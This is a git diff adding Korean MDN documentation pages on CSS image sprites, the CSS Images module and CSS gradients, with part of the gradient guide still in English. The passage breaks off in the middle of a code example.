+<p><strong>이미지 스프라이트</strong>는 여러 개의 이미지가 필요한 아주 많은 웹앱에서 사용합니다. 이미지 각각을 별도의 파일로 추가하는 대신, 이미지를 하나의 파일로 만들어서 포함하면 HTTP 요청 수가 줄기 때문에 메모리와 네트워크 사용량 측면에서 효율적입니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> HTTP/2를 사용할 땐 오히려 작은 요청을 여러 번 날리는 게 네트워크 사용량에 더 좋을 수도 있습니다.</p>
+</div>
+
+<h2 id="구현">구현</h2>
+
+<p><code>toolbtn</code> 클래스가 부여된 모든 아이템에 어떤 이미지가 부여된다고 가정해 봅시다.</p>
+
+<pre class="brush:css notranslate">.toolbtn {
+  background: url(myfile.png);
+  display: inline-block;
+  height: 20px;
+  width: 20px;
+}</pre>
+
+<p>배경 이미지의 위치는 속성에 지정된 {{cssxref("url()")}} 값 다음에 x, y 2개 값으로 지정할 수도 있고, {{cssxref("background-position")}} 속성으로 지정할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">#btn1 {
+  background-position: -20px 0px;
+}
+
+#btn2 {
+  background-position: -40px 0px;
+}</pre>
+
+<p>이 CSS 는 ID 가 'btn1' 인 엘리먼트를 왼쪽으로 20 pixel 이동시키고 ID 가 'btn2' 인 엘리먼트를 왼쪽으로 40 pixel 이동시킬 것입니다 (앞서 보인 이미지 룰에 의해 두 엘리먼트에 <code>toolbtn</code> 클래스가 부여됐다고 가정합시다).</p>
+
+<p>비슷하게, 마우스 호버 상태를 만들 수도 있습니다.</p>
+
+<pre class="brush:css notranslate">#btn:hover {
+  background-position: <var>&lt;pixels shifted right&gt;</var>px <var>&lt;pixels shifted down&gt;</var>px;
+}</pre>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="http://css-tricks.com/snippets/css/perfect-css-sprite-sliding-doors-button/">Full working demo at CSS Tricks</a></li>
+</ul>
diff --git a/files/ko/web/css/css_images/index.html b/files/ko/web/css/css_images/index.html
new file mode 100644
index 0000000000..99c37da296
--- /dev/null
+++ b/files/ko/web/css/css_images/index.html
@@ -0,0 +1,107 @@
+---
+title: CSS Images
+slug: Web/CSS/CSS_Images
+tags:
+  - CSS
+  - CSS Images
+  - Guide
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Images
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Images</strong>는 사용할 수 있는 이미지의 유형({{cssxref("&lt;image&gt;")}} 자료형, 포함하는 URL, 그레이디언트 및 그 외의 다른 유형 이미지), 이미지의 크기 조정 방법, 그리고 이미지 및 다른 대체 콘텐츠가 각기 다른 레이아웃 모델과 상호작용하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("image-orientation")}}</li>
+ <li>{{CSSxRef("image-rendering")}}</li>
+ <li>{{CSSxRef("image-resolution")}}</li>
+ <li>{{CSSxRef("object-fit")}}</li>
+ <li>{{CSSxRef("object-position")}}</li>
+</ul>
+</div>
+
+<h3 id="함수">함수</h3>
+
+<div class="index">
+<ul>
+ <li>{{CSSxRef("linear-gradient", "linear-gradient()")}}</li>
+ <li>{{CSSxRef("radial-gradient", "radial-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-linear-gradient", "repeating-linear-gradient()")}}</li>
+ <li>{{CSSxRef("repeating-radial-gradient", "repeating-radial-gradient()")}}</li>
+ <li>{{CSSxRef("conic-gradient")}}</li>
+ <li>{{CSSxRef("repeating-conic-gradient", "repeating-conic-gradient()")}}</li>
+ <li>{{CSSxRef("url", "url()")}}</li>
+ <li>{{CSSxRef("element", "element()")}}</li>
+ <li>{{CSSxRef("_image", "image()")}}</li>
+ <li>{{CSSxRef("cross-fade", "cross-fade()")}}</li>
+</ul>
+</div>
+
+<h3 id="자료형">자료형</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("&lt;image&gt;")}}</li>
+ <li>{{cssxref("&lt;uri&gt;")}}</li>
+</ul>
+</div>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></dt>
+ <dd>CSS 이미지의 특정 유형인 "그레이디언트"를 소개하고, 그 사용법을 보입니다.</dd>
+ <dt><a href="/ko/docs/Web/CSS/CSS_Images/Implementing_image_sprites_in_CSS">CSS에서 이미지 스프라이트 구현하기</a></dt>
+ <dd>다수의 이미지를 하나의 문서로 합쳐서 다운로드 요청을 절약하고 페이지 속도를 향상하는 방법을 소개합니다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Images')}}</td>
+   <td>{{Spec2('CSS4 Images')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Images')}}</td>
+   <td>{{Spec2('CSS3 Images')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Compat', '#css-%3Cimage%3E-type', 'CSS Gradients')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td><code>-webkit</code> 접두어 달린 그러데이션 값 함수 표준화</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#urls', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{Specname('CSS2.1', 'syndata.html#uri', '&lt;uri&gt;')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#url', '&lt;url&gt;')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_images/using_css_gradients/index.html b/files/ko/web/css/css_images/using_css_gradients/index.html
new file mode 100644
index 0000000000..061ef36536
--- /dev/null
+++ b/files/ko/web/css/css_images/using_css_gradients/index.html
@@ -0,0 +1,750 @@
+---
+title: CSS 그레이디언트 사용하기
+slug: Web/CSS/CSS_Images/Using_CSS_gradients
+tags:
+  - Advanced
+  - CSS
+  - CSS Images
+  - Example
+  - Gradients
+  - Guide
+  - Web
+translation_of: Web/CSS/CSS_Images/Using_CSS_gradients
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS 그레이디언트</strong>는 {{cssxref("&lt;image&gt;")}} 자료형의 특별한 종류인 {{cssxref("&lt;gradient&gt;")}}로 나타내며 두 개 이상의 색 간의 점진적 전환을 표현합니다. 그레이디언트에는 선형({{cssxref("linear-gradient")}} 함수), 방사형({{cssxref("radial-gradient")}} 함수), 각진 원형({{cssxref("conic-gradient")}} 함수) 세 종류가 있으며, 각각의 변형본으로 계속해서 반복하는 {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, {{cssxref("repeating-conic-gradient")}} 함수도 있습니다.</p>
+
+<p>그레이디언트는 배경처럼 <code>&lt;image&gt;</code>를 사용하는 곳에는 어디에나 적용할 수 있습니다. 그레이디언트는 동적으로 생성하므로, 비슷한 효과를 보기 위해 래스터 이미지를 사용하는 방식을 사용하지 않아도 됩니다. 또한 브라우저가 직접 생성하므로 확대했을 때 래스터 이미지보다 좋은 품질을 보이며 크기 조절도 즉시 가능합니다.</p>
+
+<p>우선 선형 그레이디언트의 소개로 시작하여, 모든 유형의 그레이디언트에서 통용되는 기능을 선형으로 설명하고, 그 후에 방사형과 각진 원형, 마지막으로 반복 그레이디언트에 대해 알아보겠습니다.</p>
+
+<h2 id="선형_그레이디언트_사용하기">선형 그레이디언트 사용하기</h2>
+
+<p>선형 그레이디언트는 직선으로 진행하는 색상 무늬를 생성합니다.</p>
+
+<div>
+<h3 id="기본_선형_그레이디언트">기본 선형 그레이디언트</h3>
+
+<p>가장 기본적인 그레이디언트 종류를 생성하기 위해서는 두 가지의 색만 지정하면 됩니다. 각각의 색을 "색상 정지점"이라고 부릅니다. 최소 두 가지가 필요하지만, 제한 없이 원하는 만큼 추가할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate" dir="rtl">&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-linear {
+  background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('기본_선형_그레이디언트', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="방향_전환">방향 전환</h3>
+
+<p>기본적으로, 선형 그레이디언트는 위에서 아래로 진행합니다. 그러나 방향을 지정함으로써 그레이디언트를 회전할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="horizontal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.horizontal-gradient {
+  background: linear-gradient(to right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('방향_전환', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="대각선_그레이디언트">대각선 그레이디언트</h3>
+
+<p>그레이디언트가 한쪽 모서리에서 다른 쪽 모서리를 잇는 대각선 방향으로 진행하도록 할 수도 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="diagonal-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.diagonal-gradient {
+  background: linear-gradient(to bottom right, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('대각선_그레이디언트', 200, 100) }}</p>
+</div>
+
+<div>
+<h3 id="각도_사용">각도 사용</h3>
+
+<p>더 정밀하게 방향을 지정하고 싶다면 특정 각도를 지정할 수 있습니다.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="angled-gradient"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.angled-gradient {
+  background: linear-gradient(70deg, blue, pink);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('각도_사용', 120, 120) }}</p>
+
+<p>각도를 사용할 때 <code>0deg</code> 는 아래쪽에서 위쪽으로 진행하는 선형 그레이디언트를, <code>90deg</code> 는 왼쪽에서 오른쪽으로, 등등 시계 방향으로 회전합니다. 음의 각도는 시계 반대 방향으로 회전합니다.</p>
+
+<p><img alt="linear_redangles.png" class="default internal" src="/files/3811/linear_red_angles.png"></p>
+</div>
+
+<h2 id="색상_선언_효과_생성">색상 선언 &amp; 효과 생성</h2>
+
+<p>All<span class="js-about-item-abstr"> CSS gradient types are a range of position-dependent colors. The colors produced by CSS gradients can vary continuously with position, producing smooth color transitions. It is also possible to create bands of solid colors, and hard transitions between two colors. The following are valid for all gradient functions:</span></p>
+
+<div>
+<h3 id="두_개보다_많은_색_사용하기">두 개보다 많은 색 사용하기</h3>
+
+<p>You don't have to limit yourself to two colors—you may use as many as you like! By default, colors are evenly spaced along the gradient.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="auto-spaced-linear-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.auto-spaced-linear-gradient {
+  background: linear-gradient(red, yellow, blue, orange);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('두_개보다_많은_색_사용하기', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Positioning_color_stops">Positioning color stops</h3>
+
+<p>You don't have to leave your color stops at their default positions. To fine-tune their locations, you can give each one zero, one, or two percentage or, for radial and linear gradients, absolute length values. If you specify the location as a percentage, <code>0%</code> represents the starting point, while <code>100%</code> represents the ending point; however, you can use values outside that range if necessary to get the effect you want. If you leave a location unspecified, the position of that particular color stop will be automatically calculated for you, with the first color stop being at <code>0%</code> and the last color stop being at <code>100%</code>, and any other color stops being half way between their adjacent color stops.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multicolor-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multicolor-linear {
+   background: linear-gradient(to left, lime 28px, red 77%, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_color_stops', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Creating_hard_lines">Creating hard lines</h3>
+
+<p>To create a hard line between two colors, creating a stripe instead of a gradual transition, adjacent color stops can be set to the same location. In this example, the colors share a color stop at the <code>50%</code> mark, halfway through the gradient:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="striped"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.striped {
+   background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%);
+}</pre>
+
+<p>{{ EmbedLiveSample('Creating_hard_lines', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Gradient_hints">Gradient hints</h3>
+
+<p>By default, the gradient transitions evenly from one color to the next. You can include a color-hint to move the midpoint of the transition value to a certain point along the gradient. In this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate" dir="rtl">&lt;div class="color-hint"&gt;&lt;/div&gt;
+&lt;div class="simple-linear"&gt;&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px; float: left; margin-right: 10px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.color-hint {
+  background: linear-gradient(blue, 10%, pink);
+}
+.simple-linear {
+  background: linear-gradient(blue, pink);
+}</pre>
+
+<p>{{ EmbedLiveSample('Gradient_hints', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Creating_color_bands_stripes">Creating color bands &amp; stripes</h3>
+
+<p>To include a solid, non-transitioning color area within a gradient, include two positions for the color stop. Color stops can have two positions, which is equivalent to two consecutive color stops with the same color at different positions. The color will reach full saturation at the first color stop, maintain that saturation through to the second color stop, and transition to the adjacent color stop's color through the adjacent color stop's first position.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multiposition-stops"&gt;&lt;/div&gt;
+&lt;div class="multiposition-stop2"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multiposition-stops {
+   background: linear-gradient(to left,
+       lime 20%, red 30%, red 45%, cyan 55%, cyan 70%, yellow 80% );
+   background: linear-gradient(to left,
+       lime 20%, red 30% 45%, cyan 55% 70%, yellow 80% );
+}
+.multiposition-stop2 {
+   background: linear-gradient(to left,
+      lime 25%, red 25%, red 50%, cyan 50%, cyan 75%, yellow 75% );
+   background: linear-gradient(to left,
+      lime 25%, red 25% 50%, cyan 50% 75%, yellow 75% );
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Creating_color_bands_stripes', 120, 120) }}</p>
+
+<p>In the first example above, the lime goes from the 0% mark, which is implied, to the 20% mark, transitions from lime to red over the next 10% of the width of the gradient, reach solid red at the 30% mark, and staying solid red up until 45% through the gradient, where it fades to cyan, being fully cyan for 15% of the gradient, and so on.</p>
+
+<p>In the second example, the second color stop for each color is at the same location as the first color stop for the adjacent color, creating a striped effect.</p>
+
+<p>In both examples, the gradient is written twice: the first is the CSS Images Level 3 method of repeating the color for each stop and the second example is the CSS Images Level 4 multiple color stop method of including two color-stop-lengths in a linear-color-stop declaration.</p>
+</div>
+
+<div>
+<h3 id="Controlling_the_progression_of_a_gradient">Controlling the progression of a gradient</h3>
+
+<p>By default, a gradient evenly progresses between the colors of two adjacent color stops, with the midpoint between those two color stops being the midpoint color value. You can control the interpolation, or progression, between two color stops by including a color hint location. In this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through. The second example does not contain the hint to hilight the difference the color hint can make:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="colorhint-gradient"&gt;&lt;/div&gt; &lt;div class="regular-progression"&gt;&lt;/div&gt;
+
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+  float: left; margin-right: 10px; box-sizing: border-box;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.colorhint-gradient {
+  background: linear-gradient(to top, black, 20%, cyan);
+}
+.regular-progression {
+  background: linear-gradient(to top, black, cyan);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Controlling_the_progression_of_a_gradient', 120, 120) }}</p>
+</div>
+
+<h3 id="Overlaying_gradients">Overlaying gradients</h3>
+
+<p>Gradients support transparency, so you can stack multiple backgrounds to achieve some pretty fancy effects. The backgrounds are stacked from top to bottom, with the first specified being on top.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="layered-image"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 300px;
+  height: 150px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.layered-image {
+  background: linear-gradient(to right, transparent, mistyrose),
+      url("https://mdn.mozillademos.org/files/15525/critters.png");
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Overlaying_gradients', 300, 150) }}</p>
+
+<h3 id="Stacked_gradients">Stacked gradients</h3>
+
+<p>You can even stack gradients with other gradients. As long as the top gradients aren't entirely opaque, the gradients below will still be visible.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="stacked-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.stacked-linear {
+  background:
+      linear-gradient(217deg, rgba(255,0,0,.8), rgba(255,0,0,0) 70.71%),
+      linear-gradient(127deg, rgba(0,255,0,.8), rgba(0,255,0,0) 70.71%),
+      linear-gradient(336deg, rgba(0,0,255,.8), rgba(0,0,255,0) 70.71%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Stacked_gradients', 200, 200) }}</p>
+
+<h2 id="Using_radial_gradients">Using radial gradients</h2>
+
+<p>Radial gradients are similar to linear gradients, except that they radiate out from a central point. You can dictate where that central point is. You can also make them circular or elliptical.</p>
+
+<h3 id="A_basic_radial_gradient">A basic radial gradient</h3>
+
+<p>As with linear gradients, all you need to create a radial gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, and the gradient is elliptical matching the aspect ratio of it's box:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="simple-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-radial {
+  background: radial-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_basic_radial_gradient', 120, 120) }}</p>
+
+<h3 id="Positioning_radial_color_stops">Positioning radial color stops</h3>
+
+<p>Again like linear gradients, you can position each radial color stop with a percentage or absolute length.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background: radial-gradient(red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_radial_color_stops', 120, 120) }}</p>
+
+<h3 id="Positioning_the_center_of_the_gradient">Positioning the center of the gradient</h3>
+
+<p>You can position the center of the gradient with keyterms, percentage, or absolute lengths, length and percentage values repeating if only one is present, otherwise in the order of position from the left and position from the top.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 240px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-gradient {
+  background: radial-gradient(at 0% 30%, red 10px, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_the_center_of_the_gradient', 120, 120) }}</p>
+
+<h3 id="Sizing_radial_gradients">Sizing radial gradients</h3>
+
+<p>Unlike linear gradients, you can specify the size of radial gradients. Possible values include closest-corner, closest-side, farthest-corner, and farthest-side, with farthest-corner being the default.</p>
+
+<h4 id="Example_closest-side_for_ellipses">Example: closest-side for ellipses</h4>
+
+<p>This example uses the <code>closest-side</code> size value, which means the size is set by the distance from the starting point (the center) to the closest side of the enclosing box.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-ellipse-side"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-ellipse-side {
+  background: radial-gradient(ellipse closest-side,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_closest-side_for_ellipses', 240, 100) }}</p>
+
+<h4 id="Example_farthest-corner_for_ellipses">Example: farthest-corner for ellipses</h4>
+
+<p>This example is similar to the previous one, except that its size is specified as <code>farthest-corner</code>, which sets the size of the gradient by the distance from the starting point to the farthest corner of the enclosing box from the starting point.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-ellipse-far"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 240px;
+  height: 100px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-ellipse-far {
+  background: radial-gradient(ellipse farthest-corner at 90% 90%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_farthest-corner_for_ellipses', 240, 100) }}</p>
+
+<h4 id="Example_closest-side_for_circles">Example: closest-side for circles</h4>
+
+<p>This example uses <code>closest-side</code>, which makes the circle's size to be the distance between the starting point (the center) and the closest side. The circle's radius is the distance between the center of the gradient and the closest edge, which due to the positioning of the 25% from the top and 25% from the bottom, is closest to the bottom, since the height in this case is narrower than the width.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="radial-circle-close"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 240px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.radial-circle-close {
+  background: radial-gradient(circle closest-side at 25% 75%,
+      red, yellow 10%, #1e90ff 50%, beige);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Example_closest-side_for_circles', 240, 120) }}</p>
+
+<h3 id="Stacked_radial_gradients">Stacked radial gradients</h3>
+
+<p>Just like linear gradients, you can also stack radial gradients. The first specified is on top, the last on the bottom.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="stacked-radial"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 200px;
+  height: 200px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.stacked-radial {
+  background:
+      radial-gradient(circle at 50% 0,
+        rgba(255,0,0,.5),
+        rgba(255,0,0,0) 70.71%),
+      radial-gradient(circle at 6.7% 75%,
+        rgba(0,0,255,.5),
+        rgba(0,0,255,0) 70.71%),
+      radial-gradient(circle at 93.3% 75%,
+        rgba(0,255,0,.5),
+        rgba(0,255,0,0) 70.71%) beige;
+  border-radius: 50%;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Stacked_radial_gradients', 200, 200) }}</p>
+
+<h2 id="Using_conic_gradients">Using conic gradients</h2>
+
+<p>The <strong><code>conic-gradient()</code></strong> <a href="/en-US/docs/Web/CSS">CSS</a> function creates an image consisting of a gradient with color transitions rotated around a center point (rather than radiating from the center). Example conic gradients include pie charts and color wheels, but they can also be used for creating checker boards and other intersting effects.</p>
+
+<p>The conic-gradient syntax is similar to the radial-gradient syntax, but the color-stops are placed around a gradient arc, the circumference of a circle, rather than on the gradient line emerging from the center of the gradient, and the color-stops are percentages or degrees: absolute lengths are not valid.</p>
+
+<p>In a radial gradient, the colors transition from the center of an ellipse, outward, in all directions. With conic gradients, the colors transition as as if spun around the center of a circle, starting at the top and going clockwise. Similar to radial gradients, you can position the center of the gradient. Similar to linear gradients, you can change the gradient angle.</p>
+
+<div>
+<h3 id="A_basic_conic_gradient">A basic conic gradient</h3>
+
+<p>As with linear and radial gradients, all you need to create a conic gradient are two colors. By default, the center of the gradient is at the 50% 50% mark, with the start of the gradient facing up:</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="simple-conic"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.simple-conic {
+  background: conic-gradient(red, blue);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('A_basic_conic_gradient', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Positioning_the_conic_center">Positioning the conic center</h3>
+
+<p>Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.conic-gradient {
+  background: conic-gradient(at 0% 30%, red 10%, yellow 30%, #1e90ff 50%);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Positioning_the_conic_center', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Changing_the_angle">Changing the angle</h3>
+
+<p>Like radial gradients, you can position the center of the conic gradient with keyterms, percentage, or absolute lengths, with the keyword "at"</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="conic-gradient"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.conic-gradient {
+  background: conic-gradient(from 45deg, red, orange, yellow, green, blue, purple);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Changing_the_angle', 120, 120) }}</p>
+</div>
+
+<h2 id="Using_repeating_gradients">Using repeating gradients</h2>
+
+<p>The {{cssxref("linear-gradient")}}, {{cssxref("radial-gradient")}}, and {{cssxref("conic-gradient")}} functions don't support automatically repeated color stops. However, the {{cssxref("repeating-linear-gradient")}}, {{cssxref("repeating-radial-gradient")}}, and {{cssxref("repeating-conic-gradient")}} functions are available to offer this functionality.</p>
+
+<p>The size of the gradient line or arc that repeats is the length between the first color stop value and the last color stop length value. If the first color stop just has a color and no color stop length, the value defaults to 0. If the last color stop has just a color and no color stop length, the value defaults to 100%. If neither is declared, the gradient line is 100% meaning the linear and conic gradients will not repeat and the radial gradient will only repeat if the radius of the gradient is smaller than the length between the center of the gradient and the farthest corner. If the first color stop is declared, and the value is greater than 0, the gradient will repeat, as the size of the line or arc is the difference between the first color stop and last color stop is less than 100% or 360 degrees.</p>
+
+<div>
+<h3 id="Repeating_linear_gradients">Repeating linear gradients</h3>
+
+<p>This example uses {{cssxref("repeating-linear-gradient")}} to create a gradient that progresses repeatedly in a straight line. The colors get cycled over again as the gradient repeats. In this case the gradient line is 10px long.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 120px;
+  height: 120px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.repeating-linear {
+  background: repeating-linear-gradient(-45deg, red, red 5px, blue 5px, blue 10px);
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Repeating_linear_gradients', 120, 120) }}</p>
+</div>
+
+<div>
+<h3 id="Multiple_repeating_linear_gradients">Multiple repeating linear gradients</h3>
+
+<p>Similar to regular linear and radial gradients, you can include multiple gradients, one on top of the other. This only makes sense if the gradients are partially transparent allowing subsequent gradients to show through the transparent areas, or if you include different <a href="/en-US/docs/Web/CSS/background-size">background-sizes</a>, optionally with different <a href="/en-US/docs/Web/CSS/background-position">background-position</a> property values, for each gradient image. We are using transparency.</p>
+
+<p>In this case the gradient lines are 300px, 230px, and 300px long.</p>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;div class="multi-repeating-linear"&gt;&lt;/div&gt;
+</pre>
+
+<pre class="brush: css notranslate">div {
+  width: 600px;
+  height: 400px;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">.multi-repeating-linear {
+  background:
+      repeating-linear-gradient(190deg, rgba(255, 0, 0, 0.5) 40px,
+        rgba(255, 153, 0, 0.5) 80px, rgba(255, 255, 0, 0.5) 120px,
+        rgba(0, 255, 0, 0.5) 160px, rgba(0, 0, 255, 0.5) 200px,
+        rgba(75, 0, 130, 0.5) 240px, rgba(238, 130, 238, 0.5) 280px,
+        rgba(255, 0, 0, 0.5) 300px),
